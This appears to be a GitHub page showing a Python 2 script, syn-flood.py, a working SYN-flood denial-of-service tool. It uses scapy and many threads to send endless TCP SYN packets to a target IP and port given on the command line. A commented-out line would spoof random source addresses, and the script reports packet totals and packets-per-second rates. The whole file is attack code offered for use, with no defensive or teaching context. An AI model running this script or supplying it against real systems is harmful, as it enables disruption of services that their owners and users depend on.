-
Notifications
You must be signed in to change notification settings - Fork 8
/
syn-flood.py
66 lines (57 loc) · 1.64 KB
/
syn-flood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import sys
import threading
from scapy.all import *
import random
import signal
import time
thread_limit = 200
total = 0
class SynFlood(threading.Thread):
def __init__(self, target, port):
threading.Thread.__init__(self)
self.target = target
self.port = port
def build_syn_packet(self):
ip = IP()
# ip.src = "%d.%d.%d.%d" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
ip.src="192.168.65.128"
ip.dst =self.target
tcp = TCP()
tcp.sport = random.randint(1,65535)
tcp.dport = self.port
tcp.flags = 'S'
return ip/tcp
def run(self):
global total
syn_packet = self.build_syn_packet()
s = conf.L3socket(iface='eth0')
while True:
s.send(syn_packet)
total += 1
def handler(signum, frame):
print "exit"
# with open("a.txt","w") as f:
# f.write(total)
print "time:",time.time()-start_time
print "packet num:",total
print "pps:",total/(time.time()-start_time)
sys.exit()
if __name__ == "__main__":
if len(sys.argv) != 4:
print "example:%s 127.0.0.1 8080 20" % sys.argv[0]
target = sys.argv[1]
port = int(sys.argv[2])
concurrent = int(sys.argv[3])
signal.signal(signal.SIGINT, handler)
signal.signal(signal.SIGTERM, handler)
threads = []
start_time = time.time()
for _ in range(0,concurrent):
t = SynFlood(target,port)
t.setDaemon(True)
threads.append(t)
t.start()
# for _ in range(0,concurrent):
# t.join()
while True:
time.sleep(1)